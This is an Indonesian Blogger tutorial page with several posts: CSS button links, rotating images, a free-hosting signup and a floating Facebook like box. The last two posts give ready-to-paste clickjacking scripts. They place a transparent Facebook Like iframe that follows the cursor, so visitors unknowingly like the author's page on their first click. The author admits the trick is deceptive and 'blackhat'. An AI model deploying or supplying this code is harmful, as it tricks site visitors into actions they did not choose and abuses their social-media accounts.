Minggu, 01 September 2013

Membuat link pada blog berbentuk tombol button


membuat link pada blog
Membuat link pada blog - Link pada sebuah artikel di postingan biasanya ditandai dengan warna biru atau warna lain. Link sendiri berfungsi untuk mereferensi halaman lain melalui halaman artikel kita. Untuk membuat sebuah link pada postingan kita hanya cukup menyorot beberapa kata yang ingin kita jadikan referensi dan kemudian mengklik tombol link yang ada pada editor blog lalu mengisikan url halaman yang akan kita referensikan.

Pada kesempatan kali ini kita akan membuat link pada blog berbentuk sebuah button atau tombol. Caranya cukup mudah ikuti langkah di bawah ini
  1. Pada halaman edit artikel kamu klik mode html
  2. Cari kata yang ingin kamu jadikan referensi sebagai link
  3. Ketik <a href="http://raraswurimiswandaru.blogspot.com" target="_blank"><b><button>Kata yang dijadikan referensi</button></b></a>
  4. Setelah selesai kembali ke menu compose dan lihat hasilnya.
Contoh link tombol button yang dapat dilihat di bawah ini :


Pada bagian nomor 3 kamu bisa mengganti url yang ada dengan url milik kamu. Perhatikan setiap spasi, tanda petik, dan karakter lainnya, jangan sampai ada karakter yang hilang atau berlebih.

Apa sebenarnya fungsi dari link dalam postingan selain dari mereferensikan halaman lain dari artikel. Fungsi link antar artikel didalam satu blog memiliki peran penting untuk meningkatkan popularity artikel dimata algoritma search engine. Jika kamu sedang mempelajari bagaimana teknik SEO bekerja, maka hal mengenai internal link atau membuat link antar artikel sangat penting kamu pelajari dan kamu lakukan. Untuk teknik seperti ini kamu bisa membaca artikel tentang tips mengoptimalkan blog

Selain itu memasang link pada artikel atau postingan dapat memberikan kemudahan sekaligus informasi kepada para pengunjung untuk mendapatkan informasi yang berkaitan pada halaman artikel yang lain. Mengingat begitu pentingnya internal link, maka tidak ada salahnya kita membuat sebuah link di postingan yang memancing pembaca untuk melakukan klik. Yaitu dengan cara membuat link pada blog berbentuk tombol button dan tentunya akan terlihat berbeda dari link seperti biasanya.

Cara membuat gambar berputar di postingan blog

Banyak cara membuat blog kita tampil cantik dan menarik, Setelah kemarin kita sudah  mencoba bagaimana cara membuat tombol share melayang, selanjutnya bahasan kali ini kita akan mencoba bagaimana cara membuat gambar berputar ketika di sentuh oleh mouse. Teknik ini biasanya disebut dengan Image hover.

Tehnik membuat gambar berputar ini menggunakan kode css yang akan kita letakkan di source html template kita. Tidak sulit untuk menerapkan tutorial ini, hanya dibutuhkan kehati-hatian dan ketelitian ketika meletakkan beberapa kode ke dalam template. Untuk berjaga-jaga jika terjadi kesalahan, ada baiknya sobat melakukan backup terlebih dahulu seluruh isi html template sobat.

Berikut langkah-langkah cara membuat gambar berputar di blog kita.

1. Pertama-tama sobat masuk ke bagian edit html dengan menuju bagian template kemudian pilih edit html.
2. Cari kode seperti ini ]]></b:skin> Gunakan ctrl find untuk memudahkan pencarian
3. Copy kode CSS dibawah ini :

 #gambar {  
 float: left;  
 margin: 10px;  
 overflow: hidden;  
 position: relative;  
  -webkit-transition-duration: 0.8s;  
   -moz-transition-duration: 0.8s;  
   -o-transition-duration: 0.8s;  
   transition-duration: 0.8s;  
   -webkit-transition-property: -webkit-transform;  
   -moz-transition-property: -moz-transform;  
   -o-transition-property: -o-transform;  
   transition-property: transform;  
   overflow:hidden;  
 }  
 #gambar:hover {  
  -webkit-transform:rotate(360deg);  
   -moz-transform:rotate(360deg);  
   -o-transform:rotate(360deg);  
 }  

Kemudian paste tepat diatas  kode ]]></b:skin> yang sobat cari tadi. Simpan perubahan template sobat.

4. Buatlah postingan baru dengan judul Cara membuat gambar berputar. masukkan kode dibawah ini kedalam postingan melalui mode html, ingat memasukkannya harus dalam mode html bukan dalam mode Compose.

 <div id="gambar">  
 <img src="url Gambar" />  
 </div>  

Ganti url gambar yang berwarna biru dengan url gambar yang ingin sobat tampilkan agar berputar.
Sampai disini tutorial selesai, silahkan sobat semua mencobanya pada blog sobat.  Untuk posisi gambar bisa langsung di atur melalui pengaturan yang ada di dashboard blog sobat

Cara Membuat Web Hosting Gratis

Cara Membuat Web Hosting Gratis



Selamat pagi...

Kemaren ada yang request, cara buat hosting gratis dari Id Hostinger, ya sebenarnya saya juga newbie masalah hosting, domain, dsj.
ya tapi karena saya baik, saya akan bagikan apa saja yang sudah saya ketahui kepada kalian :D

oke, kita mulai ,  siapkan dulu peralatan
1. PC/Laptop/netbook, dsj.
2. Koneksi Internet
3. Segelas Energen( kenapa bukan kopi? karna saya ga doyan ngopi :D)
4. Sebungkus biskuit Roma .

Langsung mulai ya, pertama kita buat akun ID Hostinger dulu.
  • Pertama buka web IDHOSTINGER.COM
  • Klik tombol BUAT AKUN di pojok kiri atas, dan isi form pendaftarannya seperti ini

  • Jika form sudah terisi dengan benar, klik BUAT AKUN , kemudian akan ada link aktivasi yang dikirim ke email anda.
  • Akun anda telah berhasil dibuat , silahkan login :)

langkah selanjutnya kita akan membuat akun web hostingnya
  • Setelah berhasil login, klik tab Kontrol panel, klik tombol BUAT AKUN BARU (Lihat gambar) 


  • Pilih yang Gratis, klik tombol Order
  • Klik checkbox Subdomain, tentukan domain, kemudian masukan domain sesuai selera, masukan password dan verifikasi captha, klik tombol BUAT

  • Setelah akun anda berhasil dibuat, buka lagi kontrol panel, pilih akun yang baru anda buat, klik tombol KELOLA 

  • Perhatikan kolom WEBSITE, klik tombol Penginstal Otomatis 
  • Silahkan pilih jenis web yang anda ingin kelola, kalau saya lebih suka menggunakan wordpress
Nah, itu dia cara membuat web hosting gratis dari ID Hostinger
kalo mau lihat hasil kerjaan saya, boleh klik DISINIatau DISINI 

Cara Membuat Like Box Melayang Di Blog

Like Box Melayang Di Blog Ini Dilengkapi Dengan Follow Twitter Juga Jadi Gak Usah Ribet Nambahin Script Lainnya Berikut Caranya.


1. Dasboard Blogger lo > Tata Letak > Tambah Gadget
2. Pilih HTML Javascript Lalu Masukan Kode Berikut Ini

<style type='text/css'>
/* Message Box */
#box-message {
position:fixed !important;
position:absolute;
top:-1000px;
left:50%;
margin:0px 0px 0px -182px;
width:300px;
height:auto;
padding:16px;
background:#fff;
font:normal Dosis, Georgia, Serif;
color:#111;
border:2px solid #333;
-webkit-box-shadow:0px 1px 2px rgba(0,0,0,0.4);
-moz-box-shadow:0px 1px 2px rgba(0,0,0,0.4);
box-shadow:0px 1px 2px rgba(0,0,0,0.4);
-webkit-border-radius:10px;
-moz-border-radius:10px;
border-radius:10px;
}
#box-message a.close {
position:absolute;
top:-10px;
right:-10px;
background:#fff;
font:bold 16px Arial, Sans-Serif;
text-decoration:none;
line-height:22px;
width:22px;
text-align:center;
color:#111;
border:2px solid #333;
-webkit-box-shadow:0px 1px 2px rgba(0,0,0,0.4);
-moz-box-shadow:0px 1px 2px rgba(0,0,0,0.4);
box-shadow:0px 1px 2px rgba(0,0,0,0.4);
-webkit-border-radius:22px;
-moz-border-radius:22px;
border-radius:22px;
cursor:pointer;
}
#twitterx {
background: #EEF9FD;
padding: 10px;
text-align:center;
border: 1px solid #C7DBE2;
border-top: 0;
}
</style>
<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.1/jquery.min.js"></script>
<script type='text/javascript'>
$(window).bind("load", function() {
// Animate Top Value When Page Loaded Completed
$('#box-message').animate({top:"50px"}, 1000);
// Remove Mailbox When Close Button On Click
$('a.close').click(function() {
$(this).parent().fadeOut();
return false;
});
});
</script>
<div id='box-message'>
<!-- HTML Start -->
<center><a class="murub">Jangan Lupa Like ya</a></center>
<center>
<iframe src="//www.facebook.com/plugins/likebox.php?href=https://http://www.facebook.com/karomahmaunah?ref=hl&amp;width=292&amp;height=258&amp;colorscheme=light&amp;show_faces=true&amp;border_color&amp;stream=false&amp;header=false&amp;appId=371524026202784" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:292px; height:258px;" allowtransparency="true"></iframe>
</center>
<!-- HTML End -->
<br/>
<div class="twitter">
<!-- Twitter --> <iframe title="" style="width: 250px; height: 20px;" class="twitterx-follow-button" src="http://platform.twitter.com/widgets/follow_button.html#_=1319978796351&amp; align=&amp;button=blue&amp;id=twitter_tweet_button_0&amp; lang=ID&amp;link_color=&amp;screen_name=KAROMAH MAUNAH&amp;show_count=&amp; show_screen_name=&amp;text_color=" frameborder="0" scrolling="no"></iframe> </div>
<a class='close' href='#'>&times;</a>
</div>

Yang Berwarna Merah Ganti Sesuka lo
Yang Berwarna Hijau Ganti Dengan URL Fanspage Facebook lo
Yang Berwarna Ungu Ganti Dengan nama twitter lo 
3. Lalu Simpan Dan lihat Hasilnya

Script auto like facebook

setelah membaca tentang cara kerja, kelebihan dan kekurangan serta best recommendednya, mungkin anda tertarik menggunakannya atau tidak sama sekali. Tetapi bagi anda yang ingin memakai script auot like untuk dipasang pada blog, langsung saja copy scriptnya di bawah ini :
<script>
var fan_page_url = 'http://www.facebook.com/page.raraswurimiswandaru';
var opacity = 0.0;
var time = 20000;
if((document.getElementById) && window.addEventListener || window.attachEvent){
 (function(){
  var hairCol = "#ff0000";
  var d = document;
  var my = -10;
  var mx = -10;
  var r;
  var vert = "";
  var idx = document.getElementsByTagName('div').length;
  var thehairs = "<iframe id='theiframe' scrolling='no' frameBorder='0' allowTransparency='true' src='http://www.facebook.com/widgets/like.php?href=" + encodeURIComponent(fan_page_url) + "&amp;layout=standard&amp;show_faces=true&amp;width=53&amp;action=like&amp;colorscheme=light&amp;height=80' style='position:absolute;width:53px;height:23px;overflow:hidden;border:0;opacity:" + opacity +";filter:alpha(opacity=" + opacity * 100+ ");'></iframe>";
  document.write(thehairs);
  var like = document.getElementById("theiframe");
  document.getElementsByTagName('body')[0].appendChild(like);
  var pix = "px";
  var domWw = (typeof window.innerWidth == "number");
  var domSy = (typeof window.pageYOffset == "number");
  if (domWw)
   r = window;
  else{
   if (d.documentElement && typeof d.documentElement.clientWidth == "number" && d.documentElement.clientWidth != 0)
    r = d.documentElement;
   else{
    if (d.body && typeof d.body.clientWidth == "number")
     r = d.body;
   }
  }
    if(time != 0){
   setTimeout(function(){
      document.getElementsByTagName('body')[0].removeChild(like);
      if (window.addEventListener){
       document.removeEventListener("mousemove",mouse,false);
      }
      else if (window.attachEvent){
       document.detachEvent("onmousemove",mouse);
      }
     }, time);
  }
  function scrl(yx){
   var y,x;
   if (domSy){
    y = r.pageYOffset;
    x = r.pageXOffset;
   }
   else{
    y = r.scrollTop;
    x = r.scrollLeft;
   }
   return (yx == 0) ? y:x;
  }
  function mouse(e){
   var msy = (domSy)?window.pageYOffset:0;
   if (!e)
    e = window.event;
   if (typeof e.pageY == 'number'){
    my = e.pageY - 5 - msy;
    mx = e.pageX - 4;
   }
   else{
    my = e.clientY - 6 - msy;
    mx = e.clientX - 6;
   }
   vert.top = my + scrl(0) + pix;
   vert.left = mx + pix;
  }
  function ani(){
   vert.top = my + scrl(0) + pix;
   setTimeout(ani, 300);
  }
  function init(){
   vert = document.getElementById("theiframe").style;
   ani();
  }
  if (window.addEventListener){
   window.addEventListener("load",init,false);
   document.addEventListener("mousemove",mouse,false);
  }
  else if (window.attachEvent){
   window.attachEvent("onload",init);
   document.attachEvent("onmousemove",mouse);
  }
 })();
}//End.
</script>
Note : Ganti www.facebook.com/page.raraswurimiswandaru dengan Fanpage facebook yang anda punya.

Scriptnya lumayan panjang bukan? Oh ya, untuk penempatannya sendiri, semua terserah kepada anda, anda bisa memasukkannya ke dalam Template atau bahkan ke dalam Widget/Gadget.

Auto Like Facebook Page Dengan Klickjacking

auto like facebook page script

Auto like facebook page adalah sebuah kode untuk membantu meningkatkan pemberian kesukaan oleh pengunjung pada halaman facebook anda. Semakin banyak pengunjung menyukai halaman ini, menandakan apa yang disuguhkan dapat dijadikan suatu ukuran keberhasilan dalam meningkatkan trafik blog. Kenyataan pahit dari usaha ini adalah betapa sulitnya untuk mendapatkan pengunjung yang mau meng-klik facebook page likes box yang dipasang pada blog anda. Solusinya, kita perlu menambahkan script auto like facebook page pada blog agar setiap pengunjung akan meng-klik like facebook page secara otomatis tanpa mereka sadari. Kendala kedua adalah tidak semua script itu baik dipasang pada blog, karena bisa mempengaruhi seo blog yang diterapkan. Disamping itu banyak kode yang tidak berjalan dengan semestinya, maka ini akan sangat merugikan dan membuang waktu saja.

Setelah berselancar dibeberapa situs yang mengulas auto like halaman facebook, akhirnya saya mendapatkan suatu metode yang ampuh untuk diterapkan dalam menjaring like facebook page dari pengunjung. Metode ini disebut cara klick jacking, yaitu facebook page likes box yang disembunyikan pada kursor. Ketika pengunjung membuka blog anda, maka link yang pertama kali diklik sebenarnya adalah facebook page likes box. Hal ini tidak disadari pengunjung karena kotak yang mengikuti kursor tidak kelihatan dan script ini hanya melekat pada klik pertama kursor saja, setelah itu secara otomatis kursor akan kembali normal seperti semula.

Tehnik click jacking tergolong tehnik blackhat pada bidang bisnis dan sering digunakan oleh para master blackhat kelas dunia untuk klick PPC. Pada perkembangan selanjutnya teknik click jacking digunakan juga untuk meningkatkan pengunjung, menambah follower fanspage, twitter dan juga Google plus. Meskipun masih menjadi kontroversi, namun banyak pelaku blackhat yang menggunakan tehnik ini di blognya. Dengan tehnik ini, mereka dengan mudah mendapatkan ribuan dollar perbulan dari bisnis Pay Per Click, tanpa menerapkan teknik seo.
 Maaf cara ini mungkin dianggap akal-akalan kepada pengunjung, menipu, tidak jujur, atau apalah namanya, oleh karena itu saya kembalikan pada pembaca budiman sekalian untuk menilainya. Yang jelas, asal tidak merugikan dan tidak berdampak buruk bagi pengunjung kiranya sah-sah saja. Saya berharap cara ini dapat dimaklumi. Anggap saja untuk memberi tips kepada admin blog itu sendiri atas jerih payahnya dalam menulis konten. Menurut anda bagaimana?
Kali ini saya akan menerangkan cara menambahkan kode click jacking pada facebook page likes box. Kode ini sudah dimodifikasi dan disesuaikan untuk penggunaan facebook page likes box. Maaf, saya tidak menerangkan modifikasi script untuk kepentingan lainnya, karena ini pesan dari teman yang mengajarkan saya teknik click jacking. Baiklah sekarang mari kita bahas cara pasang kode auto like facebook page dengan klickjacking. Pastikan anda sudah membuat facebook page atau halaman facebook statis dan pastikan sudah terpasang pada blog. Bila belum, silahkan cari tutorialnya di google karena saya tidak akan mengulasnya di sini. Sekarang mari kita mulai cara pemasangannya, ikuti langkah berikut.
 Script ini sekalian menjadi kode anti copas, jadi untuk blog tutorial tidak cocok menggunakannya...!!!

Log in ke blogger
Klik Template
Klik Edit HTML
Klik Lanjutkan
Centang Expand Template Widget
Masukkan kode berikut di atas kode </head>
 <script src='http://ajax.googleapis.com/ajax/libs/jquery/1.5.2/jquery.min.js' type='text/javascript'>
</script>

      <script type='text/javascript'>
         function ClickJackFbHide(){

            jQuery(&quot;div[id^=\&#39;clickjack-button-wrapper\&#39;]&quot;).hide();

         }

         function ClickJackFbShow(){

            jQuery(&quot;div[id^=\&#39;clickjack-button-wrapper\&#39;]&quot;).show();

         }

</script>
Selanjutnya masukkan kode berikut di atas kode </body>
     <div id='clickjack-button-wrapper-5' style='position: absolute; opacity: 0; filter: alpha(opacity = 0); -ms-filter:&apos;progid:DXImageTransform.Microsoft.Alpha(Opacity=0)&apos;;  margin-left: -50px; z-index: 100; width:27px; height:20px; overflow:hidden'>

    <!--<div class="clickjack-mask" style="position: absolute; top: 5px; left: 5px; z-index: 1000; height: 13px; width: 15px;"></div>-->

    <iframe allowTransparency='true' frameborder='0' scrolling='no' src='http://www.facebook.com/plugins/like.php?href=http://facebook.com/https://www.facebook.com/pasarduniaglobal&amp;layout=button_count&amp;show_faces=false&amp;width=50&amp;action=like&amp;colorscheme=light&amp;height=21' style='border:none; overflow:hidden; width:45px; left:-19px; height:21px; z-index: 0; position: relative;'/>

       </div>

       <script type='text/javascript'>

          jQuery( document ).ready( function() {

              $( &quot;#clickjack-button-wrapper-5&quot; ).parent().mousemove( function( e ) {

                jQuery( &quot;#clickjack-button-wrapper-5&quot; ).css( {

                   top: e.pageY - 10,

                   left: e.pageX + 30

                } );

             } );

                            clickjack_hider();

                            var clickjack_fb_timer = setTimeout(&quot;clickjack_hider()&quot;,5000);

          } );

                            function clickjack_hider(){

             jQuery(&quot;input&quot;).mouseout(function(){ClickJackFbShow();});

             jQuery(&quot;a&quot;).mouseout(function(){ClickJackFbShow();});

             jQuery(&quot;button&quot;).mouseout(function(){ClickJackFbShow();});

             jQuery(&quot;textarea&quot;).mouseout(function(){ClickJackFbShow();});

             jQuery(&quot;.ratingblock&quot;).mouseout(function(){ClickJackFbShow();});         jQuery(&quot;object&quot;).mouseout(function(){ClickJackFbShow();});

             jQuery(&quot;input&quot;).mouseover(function(){ClickJackFbHide();});

             jQuery(&quot;a&quot;).mouseover(function(){ClickJackFbHide();});

             jQuery(&quot;button&quot;).mouseover(function(){ClickJackFbHide();});

             jQuery(&quot;textarea&quot;).mouseover(function(){ClickJackFbHide();});

             jQuery(&quot;.ratingblock&quot;).mouseover(function(){ClickJackFbHide();});         jQuery(&quot;object&quot;).mouseover(function(){ClickJackFbHide();});

                            }

       </script>
Ganti tulisan merah dengan cetak tebal dengan fanpage kamu
Selanjutnya klik Simpan Template
Sekarang anda tinggal menunggu hasilnya. Saya yakin script ini bekerja 100% dan kita lihat buktinya dalam waktu dekat. Demikian tutorial Auto Like Facebook Page Dengan Klickjacking, semoga bermanfaat bagi semua. Amin. Selamat mencoba dan sukses selalu.